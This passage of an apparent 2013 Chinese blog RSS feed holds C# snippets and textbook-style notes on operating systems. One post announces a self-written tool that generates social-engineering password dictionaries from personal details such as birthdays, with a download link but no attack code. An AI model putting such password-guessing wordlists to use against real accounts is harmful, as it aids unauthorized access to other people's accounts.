&lt;p&gt;运行结果：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32897_o.jpg&#34;&gt;&lt;img alt=&#34;QQ截图20130220200408&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/6c33ac761faef8c7d4beae4a478b4240cdeb7ee3.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;源码下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=302323&amp;amp;uk=1493685990&#34;&gt;PluginSystem.zip&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>利用反射转换对象list到csv</title>
      <link>http://blog.leaver.me/2013/02/02/%E5%88%A9%E7%94%A8%E5%8F%8D%E5%B0%84%E8%BD%AC%E6%8D%A2%E5%AF%B9%E8%B1%A1list%E5%88%B0csv/</link>
      <pubDate>Sat, 02 Feb 2013 07:39:11 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/02/02/%E5%88%A9%E7%94%A8%E5%8F%8D%E5%B0%84%E8%BD%AC%E6%8D%A2%E5%AF%B9%E8%B1%A1list%E5%88%B0csv/</guid>
      <description>&lt;p&gt;扒自一工程。。可以学习一下.net中反射的简单用法&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;      /// &amp;lt;summary&amp;gt;
        /// Take object List as input and export to csv which will be prompt save as dialog
        /// &amp;lt;/summary&amp;gt;
        /// &amp;lt;typeparam name=&#34;T&#34;&amp;gt; Type of object&amp;lt;/typeparam&amp;gt;
        /// &amp;lt;param name=&#34;listToExport&#34;&amp;gt; Object list to export&amp;lt;/param&amp;gt;
        /// &amp;lt;param name=&#34;seperateChar&#34;&amp;gt; character to use as scv separator&amp;lt;/param&amp;gt;
        public static string ExportListToCSV&amp;lt;T&amp;gt;( List&amp;lt;T&amp;gt; listToExport, string seperateChar)
        {
            Int32 success = 0;
            StringBuilder export = new StringBuilder();
            try
            {
                string seperator = &#34;&#34; ;
                StringBuilder builder = new StringBuilder();

                //获取表头的
                PropertyInfo[] fieldInfo = listToExport[0].GetType().GetProperties();
                foreach (PropertyInfo col in fieldInfo)
                {
                    if (!col.PropertyType.FullName.Equals(&#34;System.Data.EntityKey&#34;) &amp;amp;&amp;amp; !col.PropertyType.FullName.Equals(&#34;System.Data.EntityState&#34; ))
                    {
                        builder.Append(seperator).Append(col.Name);
                        seperator = seperateChar;
                    }
                }
                export.AppendLine(builder.ToString());
                foreach (T dataItem in listToExport)
                {
                    PropertyInfo[] allProperties = dataItem.GetType().GetProperties();
                    seperator = &#34;&#34;;
                    StringBuilder builderTmp = new StringBuilder();
                    //真正求数据域的
                    foreach (PropertyInfo thisProperty in allProperties)
                    {
                        if (!thisProperty.PropertyType.FullName.Equals(&#34;System.Data.EntityKey&#34;) &amp;amp;&amp;amp; !thisProperty.PropertyType.FullName.Equals(&#34;System.Data.EntityState&#34; ))
                        {
                            object value = thisProperty.GetValue(dataItem, null);
                            String propetyValue = (value == null ? String.Empty : value.ToString());
                            builderTmp.Append(seperator).Append(propetyValue);
                            seperator = seperateChar;
                        }
                    }
                    ++success;
                    export.AppendLine(builderTmp.ToString());
                }
            }
            catch (Exception ex)
            {
                throw ex;
            }
            return export.ToString();
        }&lt;/pre&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;if (!thisProperty.PropertyType.FullName.Equals(&#34;System.Data.EntityKey&#34;) &amp;amp;&amp;amp; !thisProperty.PropertyType.FullName.Equals(&#34;System.Data.EntityState&#34;))&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>操作系统的死锁和内存管理</title>
      <link>http://blog.leaver.me/2013/02/02/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E7%9A%84%E6%AD%BB%E9%94%81%E5%92%8C%E5%86%85%E5%AD%98%E7%AE%A1%E7%90%86/</link>
      <pubDate>Sat, 02 Feb 2013 06:58:09 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/02/02/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E7%9A%84%E6%AD%BB%E9%94%81%E5%92%8C%E5%86%85%E5%AD%98%E7%AE%A1%E7%90%86/</guid>
      <description>&lt;p&gt;这部分是最后一部分笔记。《现代操作系统》第三版的笔记就这样了。
&lt;strong&gt;死锁；&lt;/strong&gt;
把需要排他性使用的对象称为资源，资源分为可抢占的和不可抢占的。可抢占资源可以从拥有它的进程中抢占而不会具有任何副作用。存储器就是可抢占的。不可抢占资源是指在不引起相关的计算失败的情况下，无法把它从占有她的进程处抢占过来。比如CD刻录机，如果一个进程开始刻盘，突然分配给CD刻录机到另一进程，就会划坏CD盘。死锁会发生在不可抢占资源中
&lt;strong&gt;死锁的规范定义&lt;/strong&gt;：如果一个进程集合中的每个进程都在等待只能由该进程集合中的其他进程才能引发的事件，那么，该进程集合就是死锁的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;死锁的四个必要条件&lt;/strong&gt;
1.互斥条件。每个资源要么已经分配给一个进程，要么就是可用的。
2.占有和等待条件，已经得到了某个资源的进程可以再请求新的资源。
3.不可抢占条件，已经分配给一个进程的资源不可强制性的被抢占，他只能由占有她的进程显式的释放。
4.环路等待条件。死锁发生时，系统中一定有友两个/多个进程组成的一条回路，该环路中的每个进程都在等待着下一个进程所占有的资源。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;死锁处理的四种策略&lt;/strong&gt;
1.忽略该问题，如果可以忽略。则忽略
2.检测死锁并恢复，让死锁发生，检测他们是否发生，一旦发生。采取行动。
3.仔细对资源进行分配。动态的避免死锁。
4.通过破坏引起的四个必要条件之一。防止死锁发生。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;银行家算法&lt;/strong&gt;就是对每个请求进行检查。检查如果满足这一请求是否会达到安全状态，或是，那么满足这请求，若否。就推迟这一请求的满足。为了看状态是否安全。类似于银行家投资。看自己是否有足够的资源满足客户。如果可以。就认为投资是可以收回的。接着检查最接近最大限额的一个客户。如果所有投资最终都被收回。则该状态安全。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;通信死锁&lt;/strong&gt;：两个/以上的进程发送消息通信。A向B发送请求信息，然后阻塞直到B回复。假设请求信息丢失，A将阻塞等待回复。B则阻塞等待一个向其发送命令的请求。则发生死锁。他不能通过对资源排序/安排调度来避免，因此。采用了超时来中断通信死锁。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;活锁&lt;/strong&gt;：两个进程A和B，A获得1.B获得2.轮询请求对方的。没有进程被阻塞。看起来像是死锁发生了。就叫做活锁。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;内存管理&lt;/strong&gt;
每个linux进程都有一个地址空间，逻辑上有三段组成：代码。数据和堆栈段。代码段包含了形成程序可执行代码的机器指令。通常是只读的。是由编译器把源码转换成机器码形成的。
数据段包含了所有程序变量。字符串。数字和其他数据的存储。由两部分，初始化数据和未初始化数据。后者即为BSS，符号起始块。加载后被初始化为0.数据段可以修改。可以增加数据段的大小。
第三段是栈段。大多数机器里。从虚拟地址空间的顶部/附近开始。并且向下生长。&lt;/p&gt;
&lt;p&gt;linux内存由三部分组成。前两部分是内核和内存映射，被钉在内存中。页面从不换粗。内存的其他部分，被划分为页框。每个页框都可以包含一个代码。数据或栈页面。&lt;/p&gt;
&lt;p&gt;window如何知道系统配置的细节呢。答案就是windows会挂载一种特殊的文件系统，其为小文件做了优化，到名字空间，也就是注册表。注册表被阻止成了不同的卷，称作储巢。hive。一个叫做system的储巢会在系统启动时。装入内存。这里面包含了驱动什么设备工作。什么软件要初始化。那些变量等等。&lt;/p&gt;</description>
    </item>
    <item>
      <title>操作系统中的输入输出</title>
      <link>http://blog.leaver.me/2013/02/01/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E4%B8%AD%E7%9A%84%E8%BE%93%E5%85%A5%E8%BE%93%E5%87%BA/</link>
      <pubDate>Fri, 01 Feb 2013 08:43:18 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/02/01/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E4%B8%AD%E7%9A%84%E8%BE%93%E5%85%A5%E8%BE%93%E5%87%BA/</guid>
      <description>&lt;p&gt;&lt;strong&gt;输入输出&lt;/strong&gt;
&lt;strong&gt;I/O硬件：&lt;/strong&gt;
I/O设备分为两类：块设备和字符设备，块设备吧信息存储在固定大小的块中，每个块有自己的地址，传输以块为单位，每个块都能独立于其他块读写，硬盘，CD-ROM和USB盘都是常见的块设备。字符设备是以字符为单位发送和接收一个字符流，而不考虑任何块结构，字符设备不可寻址，也不寻道，打印机，网络几口，鼠标，以及大多数与磁盘不同的设备都可看作是字符设备。&lt;/p&gt;
&lt;p&gt;I/O设备一般由机械部件和电子部件两部分组成，通常分开处理，实现模块化和通用设计，电子部件称作设备控制器/适配器，在个人计算机上，通常以主板上的芯片的形式出现，或者以插入PCI的印刷电路板的形式出现。控制器卡上通常有一个连接器，通向设备本身的电缆可以插入到这个连接器中，
控制器的任务是吧串行的位流转换成字节块，并进行必要的错误校正工作，字节块通常首先在控制器内部的一个缓冲区中按位进行组装，然后再对校验和进行校验并证明字节块没有错误后再将它复制到主存中。&lt;/p&gt;
&lt;p&gt;每个控制器都有几个寄存器用来和cpu通信，通过写入这些寄存器，操作系统可以命令设备发送数据等等操作。
1.内存映射io
将所有控制寄存器映射到内存空间中，每个寄存器被分配一个唯一的内存地址，并且不会有内存被分配这一地址，这样的系统称为内存映射I/O，通常位于地址空间的顶端。使用内存映射io，设备控制器只是内存中的变量，c语言可以和其他变量一样寻址，这样，I/O设备驱动程序就可以采用c语言编写。
2.DMA
无论CPU是否具有内存映射I/O,他都需要寻址设备控制器以便和他们交换数据，但浪费eficpu时间，所以经常使用直接存储器存储。可独立于cpu访问地址总线。&lt;/p&gt;
&lt;p&gt;没有DMA的时候，首先控制器从磁盘驱动器串行的一位一位的读一个块，直到将整块信息放入控制器的内存缓冲区中，接着，他计算校验和，以保证没有读错误发生，然后控制器产生一个中断，当操作系统开始运行时，它重复地从控制器的缓冲区中一次一个字节/一个字的读取该块的信息，并将其放入内存中。
当有DMA的时候，首先CPU通过设置DMA控制器的寄存器对它进行编程，所以DMA控制器知道将什么数据传送到什么地方，(第1步)DMA控制器还要向磁盘控制器发送一个命令，通知他从磁盘读数据到其内部的缓冲区中，并且对校验和进行检验，如果磁盘控制器中的缓冲区中的数据是有效的的。那么DMA开始
DMA控制器通过在总线上发出一个读请求到磁盘控制器而发起DMA传送（第2步），这一读请求和其他一样，并且磁盘控制器并不关心是来自DMA还是CPU，一般情况下，要写的内存地址在总线的地址线上，所以磁盘控制器从内部缓冲区中读取下一个字的时候，她知道要写的什么地方，写到内存是另一个标准总线周期，（第3步）
当写操作完成时，磁盘控制器在总线上发起一个应答信号到DMA（第4步），于是DMA控制器部增要使用的内存地址，并且步减字节计数，如果字节计数仍然大于0，则从父2-4步。完成后产生中断告诉cpu，操作系统开始工作时，数据已经在内存中了。
&lt;strong&gt;中断：&lt;/strong&gt;
将机器留在一个明确状态的中断称为精确中断，四个特征，1.PC保存在一个已知的地方。2.PC所指向的指令之前的所有指令都已经完全执行。3.PC所指向的指令之后的所有指令都没有执行。4.PC所指向的指令的执行状态是已知的。注意，对于PC所指向的指令以后的指令，并没有禁止他们开始执行，而只是要求在中断发生之前必须撤销他们对寄存器或内存所做的任何修改。
&lt;strong&gt;I/O软件：&lt;/strong&gt;
设计I/O软件时一个关键的点就是设备独立性，意思是我们可以访问任意I/O设备而无需事先指定设备。也就是对于不同的I/O硬件。同一段程序是可以的。&lt;/p&gt;
&lt;p&gt;具有标准接口的驱动程序的工作方式如下：对于每一种设备类型，例如磁盘和打印机。操作系统定义一组驱动程序必须支持的函数，对于磁盘而言，这些函数自然的包含读和写，除此之外还包含开启和关闭电源，格式化以及其他与磁盘有关的事情。驱动程序通常包含一张表格，这张表格具有针对这些函数指向驱动程序自身的指针。当驱动程序装载时，操作系统记录下这张函数指针表的地址。所以当操作系统需要调用一个函数时，可以通过表格发出间接调用。这张函数指针表定义了驱动程序与操作系统其他部分之间的接口。&lt;/p&gt;
&lt;p&gt;**双缓冲：**当第二个缓冲区正在复制用户空间的时候，第一个缓冲区用来接收新的字符。以这样的方法。两个缓冲区轮流使用。称为双缓冲。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;磁盘臂调度算法：&lt;/strong&gt;
读/写一个磁盘块需要时间：1.寻道时间（将磁盘臂移动到适当的柱面上所需的时间）2.旋转延迟（等待适当扇区旋转到磁头下所需的时间）。3.实际数据传输时间。&lt;/p&gt;
&lt;p&gt;一个磁盘子系统具有如下特性：当一个写命令发给它时，磁盘要么正确地写数据，要么什么也不做，让现有的数据完整无缺的留下，这样的系统称为稳定存储器，并且是在软件中实现的。目标是不惜一切代价保持磁盘的一致性。&lt;/p&gt;
&lt;p&gt;**时钟：**两种。1种是直接接到电源线上。就可以每个电压周期产生一个终端。现在比较少。另一种是由晶体振荡器，计数器和存储寄存器三个构成。当把一块石英晶体适当的切割并且安装到一定的压力之下时就可以产生非常精确的周期性信号。时钟启动时，存储寄存器的值被复制到计数器中，每一个脉冲使计数器-1，直到为0，产生中断。&lt;/p&gt;</description>
    </item>
    <item>
      <title>操作系统中的文件系统</title>
      <link>http://blog.leaver.me/2013/01/31/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E4%B8%AD%E7%9A%84%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F/</link>
      <pubDate>Thu, 31 Jan 2013 15:00:44 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/01/31/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E4%B8%AD%E7%9A%84%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F/</guid>
      <description>&lt;p&gt;&lt;strong&gt;文件系统&lt;/strong&gt;
进程，地址空间，文件这些抽象概念均是操作系统中的重要概念，如果理解了这三个概念，就迈上了成为一个操作系统专家的道路。
文件系统存放在磁盘上，多数磁盘划分为一个/多个分区，每个分区有一个独立的文件系统，磁盘的0号扇区称为主引导记录，也就是MBR，用来引导计算机，MBR的结尾就是分区表了。该表给出了每个分区的起始和结束地址。表中的一个分区被标记为活动分区。在计算机被引导时，BIOS读入并执行MBR，MBR做的第一件事就是确定活动分区，读入他的第一个块，称为引导块，并执行之，引导块中的程度将装载该分区中的操作系统，为统一起见，每个分区都从一个启动块开始，即使它不含有一个可以启动的操作系统。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32257_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2e6edaf72b3ff2b35c5e98e4a1538ae14d74d858.png&#34;&gt;&lt;/a&gt;
&lt;strong&gt;文件的实现：&lt;/strong&gt;
1.连续分配，每个文件作为一连串连续数据存储在磁盘上。实现简单，读操作性能好，一次就可以了。但不足是删除之后不能移动，因为成本太高，使得空块增多。碎片化严重。更诡异的是对于文件编辑软件，实现无法准确预测大小，如果预测错了。。就跪了。
//研究那些具有清晰和简洁概念的老式系统和思想是很重要的，因为他们可能以一种令人吃惊的方式在未来系统中获得应用。&lt;/p&gt;
&lt;p&gt;2.链表分配
为每个文件构造磁盘块链表，一个文件分为N个文件块，N个文件块构成一个链表，存储在物理上的多个地方。顺序读取很方便，但随机读取则相当缓慢，由于指针的存在，每个磁盘块存储数据的字节不再是2的整数次幂，导致系统运行效率降低，因为很多程序都是以2的整数次幂来读写磁盘的。&lt;/p&gt;
&lt;p&gt;3.在内存中采用表的链表分配
去除每个文件块在磁盘上的指针字，放入内存的一个表上，就可以解决上一个分配的不足。直观的例子如图。
文件A使用了磁盘块4，7，2，10，12&lt;/p&gt;
&lt;p&gt;内存中这样的表格称为文件分配表，也就是FAT了。主要缺点是对于大磁盘的小块，这种表需要的内存占用太大。。不太适用。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32256_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/b3afb8b5bedaaa50b38292cd6eb90a388d5081d1.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;4.i节点
记录各个文件包含哪些磁盘块的方法是给每个文件赋予一个称为i节点的数据结构,其中类除了文件属性和文件块的磁盘地址.相对于在内存中采用表的方式,这种机制的优势在于只有对应文件打开时,其i节点才进入内存.&lt;/p&gt;
&lt;p&gt;文件系统的一致性检查分为两种:块的一致性检查和文件的一致性检查.构造两张表,一张跟踪块在文件中的出现次数,另一张跟踪该块在空闲表中的出现次数,如果一致,则某一块必然在两个表中1/2中为1,如果某一块没有出现在任何一张表中,则称为块丢失,浪费了磁盘空间.解决方法是让文件系统检验程序把他们加入到空闲表中
如果在空闲表中出现了两次.则重新建议建议空闲表即可.
如果在文件表中出现了两次.则比较麻烦.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;文件系统性能&lt;/strong&gt;
1.高速缓存,最常用,指的是一系列的块,逻辑上属于磁盘.但实际上被保存在内存上.基本算法是检查全部的读请求,查看在高速缓存中是否有所需要的块,如果存在,就读,否则读入高速缓存在复制到其他地方.
2.块提前读,在需要用到块之前,试图提前将其写入高速缓存,从而提高命中率.比如某个文件有n个块,则请求k块的时候,则同时预读k+1块.只适用于顺序读取的文件,对随机读取文件,则没有效果/反效果.
3.减少磁盘臂运动
把所有可能顺序读取的块放在一起,当然最好是放在同一个柱面上,从而减少磁盘臂的移动次数.&lt;/p&gt;</description>
    </item>
    <item>
      <title>操作系统中的页面置换算法</title>
      <link>http://blog.leaver.me/2013/01/30/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E4%B8%AD%E7%9A%84%E9%A1%B5%E9%9D%A2%E7%BD%AE%E6%8D%A2%E7%AE%97%E6%B3%95/</link>
      <pubDate>Wed, 30 Jan 2013 09:18:05 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/01/30/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E4%B8%AD%E7%9A%84%E9%A1%B5%E9%9D%A2%E7%BD%AE%E6%8D%A2%E7%AE%97%E6%B3%95/</guid>
      <description>&lt;div&gt;最近读完了《现代操作系统》。页面置换算法的读书笔记。其他的笔记慢慢整理一下在博客做个备份。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;虚拟内存的基本思想：每个程序都拥有自己的内存空间，这个空间被分割成很多块，每一块称为一页/页面，每一页有连续的地址范围，这些页被映射到物理内。&lt;/div&gt;
页面置换算法
1.最优页面置换算法，每个页面都可以用在该页面首次被访问前所需要执行的指令数作为标记。因此我们选择标记最大的页面，也就是把不愉快的事情往后拖延。但是，唯一的问题是无法实现。
2.最近未使用页面置换算法。系统每一个页面设置两个状态位，当页面被访问时设置R位，当被修改时设置M位，包含在页表项中，初始时，都被设置0，R被定期地清零，以区别最近没有被访问和被访问的页面。NRU算法随机的从类编号最小的非空类中挑选一个页面淘汰之，
根据R和W可以将页面分为4类
0没有被访问，没有被修改/1没有被访问，被修改/2已被访问，没有被修改/3已被访问，已被修改。第一类只有在定期清R的时候才会出现。
隐含的意思是，淘汰一个没有被访问的已修改页面要比淘汰一个被频繁使用的干净页面要好。
3.先进先出置换，找出最先进入的替换掉，很少单独使用
4.第二次机会页面置换算法。FIFO可能将经常使用的页面置换出来。为此，检查最老页面的r位，如果R为0，则既老又没有被使用，则就置换掉，如果是1，就清0，放在链表尾，修改装入时间为最新。继续搜索。
5.时钟页面置换算法，第二次机会算法经常要在链表中移动页面，更好的方法是将页面保存在一个类似钟面的环形链表中，表针指向最老的页面。发生缺页时，如果R是0就
淘汰该页面，并插入新页面，然后表针前移，如果是1，就清除R并前移，直到找到一个R位为0的页面。这也是时钟的由来
[![](/images/e198f5889716b00f06a452789f0c413474927e87.jpg)](http://leaverimage.b0.upaiyun.com/32235_o.jpg)
6.最近最少使用页面置换算法。在发生缺页时，置换未使用时间最长的页面，这个策略称为LRU，最简单的一个实现策略是有一个64位计数器，每条指令执行完加1.每个页表项必须有一个足够容纳这个计数器值的域，每次访问内存后，将C值保存到被访问页面的页表项，一旦中断，检查所有页面项的计数器值，找到最小的即可。
7.NFU最不常用算法，是LRU的软件模拟实现。每个页面与一个软件计数器管理。初值为0，每次时钟中断时，操作系统扫描内存中的所有页面，将每个页面中的R位值加到他的计数器上，计数器的值即为访问的频繁程度。该算法的问题是记住的事情太多，如果第一次执行扫描的时间最长。比如第一次某个页面的值很大。这个很大的值会影响到下一次扫描，结果操作系统将置换有用的页面而不是不再使用的页面。
8.修改一下NFU：R位被加进之前，将计数器右移一位，同时将R加到计数器的左端。即为老化算法
9.工作集页面置换算法。一个进程当前正在使用的页面的集合称作他的工作集。基本思路是找出一个不在工作集中的页面并淘汰它。
10.工作集时钟页面置换算法。基于时钟算法，并且使用了工作集信息。
&lt;p&gt;页面调度算法总结；
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32236_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/8aeb6656133389828c802b546823152810700003.jpg&#34;&gt;&lt;/a&gt;
最好的两种算法是老化算法和工作集时钟算法，分别基于LRU和工作集。具有良好的页面调度性能。&lt;/p&gt;</description>
    </item>
    <item>
      <title>现代操作系统的调度</title>
      <link>http://blog.leaver.me/2013/01/24/%E7%8E%B0%E4%BB%A3%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E7%9A%84%E8%B0%83%E5%BA%A6/</link>
      <pubDate>Thu, 24 Jan 2013 14:08:51 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/01/24/%E7%8E%B0%E4%BB%A3%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E7%9A%84%E8%B0%83%E5%BA%A6/</guid>
      <description>&lt;p&gt;这几天在读《现代操作系统》，想起当时学这门课的时候，并没有感觉那么爽，现在通读这本书，知识的过渡性和结构性令我叹服。感受操作系统的魅力吧。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;批处理系统中的调度：&lt;/strong&gt;
1.先来先服务&lt;/p&gt;
&lt;p&gt;2.最短作业优先
只有在所有的作业都可以同时运行(也即同时到达)的情况下，最短作业优先算法才是最优化的。&lt;/p&gt;
&lt;p&gt;3.最短剩余时间优先-最短作业优先的抢占式版本。调度算法总是选择剩余时间最短的那个进程运行，注意，运行时间必须提前掌握，当一个新的作业到达时，其整个时间同当前进程的剩余时间做比较，如果更少。就运行新进程。可以使新的短作业获得良好的服务。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;交互式系统的调度&lt;/strong&gt;
1.轮转调度。
最古老，最简单，最公平切使用最广，每个进程被分配一个时间片。如果进程在时间片结束之前阻塞或结束，则CPU立即切换。调度程序只是维护一张可运行进程列表，当进程用完它的时间片后，就被移到队列的末尾。时间片太短会导致进程切换过多，降低CPU效率，设置的太长又引起对短的交互请求的响应时间变长。通常20-50ms算合理。&lt;/p&gt;
&lt;p&gt;2.优先级调度
为了防止高优先级进程无休止的运行下去，可以在一个时钟中断里降低当前进程的优先级，如果这导致该进程的优先级低于次高优先级的进程，则切换或者也可以赋予每个进程一个时间片。可以和轮转调度一起工作，设置每个优先级上有多个进程。优先运行高优先级，并未高优先级上的进程按照轮转换着运行，如果高优先级没了。就进入到较低优先级。。。问题是如果不偶尔对优先级进行调整，则可能发生饥饿现象。&lt;/p&gt;
&lt;p&gt;3.多级队列
CTSS的设计者发现为CPU密集型进程设置较长的时间片比频繁的分给他们很短的时间片更为高效（减少了交换次数），但长时间的进程又会影响响应时间，方法是设立优先级类，最高优先级类里的进程运行1个时间片。次高运行2个。以此类推。当一个进程用完分配的时间片后，被移动到下一类。大致算法都是用于讨好交互用户和进程，而不惜牺牲后台进程
//故事：可以采用只要终端上有Enter键按下，就将该终端上的进程移到最高优先级类。假设当前进程急需交互，但是。一个人发现了。大家都开始用。。。理论和实际差异太大。。哈哈&lt;/p&gt;
&lt;p&gt;4.最短进程优先
这个很好立即，但难点在于如何找出最短的那个。一种方法是根据过去的行为推测。假设每个命令执行时间为T0，下一次运行时间为T1，则可以根据aT0+(1-a)T1来估计时间。。a被用来决定尽快忘掉老的运行时间还是记住它。这种算法成为老化算法。通常选a=1/2&lt;/p&gt;
&lt;p&gt;5.保证调度
就是保证每个用户获得cpu的1/n，系统需要跟踪进程的cpu时间，他实际获得如果多于应该获得的。则转向实际获得小于应该获得的。&lt;/p&gt;
&lt;p&gt;6.彩票调度
保证调度很难实现，而彩票调度算法是向进程提供各种系统资源的彩票。一旦需要做出一项调度决策时，就随机抽出一张彩票。谁获得谁就上。比如视频服务器，可以为不同的帧速率提供不同的彩票。然后分配cpu&lt;/p&gt;
&lt;p&gt;7.公平分享调度
这个就考虑到了进程的所有者。需要我们定义公平的含义。是保证每个用户只占用的时间相等还是其他了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;实时系统的调度：&lt;/strong&gt;
可以分为硬实时和软实时，前者必须满足绝对的截止时间，后者则可以容忍一些。用户级线程系统是不知道的。用户级和内核级的差异主要在性能，用户级需少量的机器指令，而内核级需要很多的。过程。采用轮转和优先级调度更常见一些。&lt;/p&gt;
&lt;p&gt;//操作系统的大神们太强大了。哲学家进餐问题居然可以通过拿起左边叉子以后，检测右边是否可用，如果不可用，则等待一个随机的时间。这种方案是可行的。在极少的情况下不可用。。&lt;/p&gt;</description>
    </item>
    <item>
      <title>社工字典生成工具</title>
      <link>http://blog.leaver.me/2013/01/21/%E7%A4%BE%E5%B7%A5%E5%AD%97%E5%85%B8%E7%94%9F%E6%88%90%E5%B7%A5%E5%85%B7/</link>
      <pubDate>Mon, 21 Jan 2013 08:23:13 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/01/21/%E7%A4%BE%E5%B7%A5%E5%AD%97%E5%85%B8%E7%94%9F%E6%88%90%E5%B7%A5%E5%85%B7/</guid>
      <description>&lt;p&gt;在家无聊写了这个工具，主要是为了防止自己这一直写随笔把本行忘了。。也熟悉一下代码。。暂时不放源代码了。以后改的好一点再发吧。&lt;/p&gt;
&lt;p&gt;作者：bystander&lt;/p&gt;
&lt;p&gt;博客：http://leaver.me&lt;/p&gt;
&lt;p&gt;转载请注明出处！&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/31971_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a46e1099507677947d020ad1fc0251a2fe9fca27.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/31972_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/674f4d21632e17d90688202f0e06717fbeba54c8.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;涉及到的东西有：&lt;/p&gt;
&lt;p&gt;1.C#隐藏TabControl的header部分，前面的文章有介绍&lt;/p&gt;
&lt;p&gt;2.获取窗体全部的某一类控件（这个无聊的话抽象出一个通用的方法出来，以后就可以直接用了）&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;  /// &amp;lt;summary&amp;gt;
        /// 获取所有的文本框控件
        /// &amp;lt;/summary&amp;gt;
        /// &amp;lt;param name=&#34;control&#34;&amp;gt;&amp;lt;/param&amp;gt;
        /// &amp;lt;returns&amp;gt;&amp;lt;/returns&amp;gt;
        private List&amp;lt;TextBox&amp;gt; GetAllControls(Control control)
        {
            foreach (Control con in control.Controls)
            {
                if (con.Controls.Count &amp;gt; 0)
                {
                    GetAllControls(con);
                }
                else if (con is TextBox)
                {
                    tBoxList.Add(con as TextBox);
                }
            }
            return tBoxList;
        }&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;3.文件操作&lt;/p&gt;
&lt;p&gt;4.字符串操作&lt;/p&gt;
&lt;p&gt;反正很简单，主要就是写的时候思路要清晰。知道大部分使用密码的规则。处理一下生日格式。否则后面很麻烦。。相应的验证也比较少。界面依然毫无美感。。&lt;/p&gt;
&lt;p&gt;总结：&lt;/p&gt;
&lt;p&gt;现在发现在控件命名上越来越顺利了。自我感觉良好。后面慢慢的要开始尝试使用学到的一些新的技术点。。&lt;/p&gt;
&lt;p&gt;下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=244748&amp;amp;uk=1493685990&#34;&gt;社工字典生成工具&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#隐藏TabControl标签栏</title>
      <link>http://blog.leaver.me/2013/01/11/c%23%E9%9A%90%E8%97%8Ftabcontrol%E6%A0%87%E7%AD%BE%E6%A0%8F/</link>
      <pubDate>Fri, 11 Jan 2013 21:31:52 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/01/11/c%23%E9%9A%90%E8%97%8Ftabcontrol%E6%A0%87%E7%AD%BE%E6%A0%8F/</guid>
      <description>&lt;p&gt;今天考过了微软的那个70-562和70-536的考试。然后下午把软件体系结构的作业做了。然后看了一下栈溢出，我博客首页右侧的那个就是我的栈溢出id了。。&lt;/p&gt;
&lt;p&gt;然后就看到了这个问题。这个问题。我曾经遇到过。貌似大家知道比较多的是两种。第一种就是设置大小。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;tabControl1.SizeMode = TabSizeMode.Fixed;
tabControl1.ItemSize = new Size(0, 1);&lt;/pre&gt;
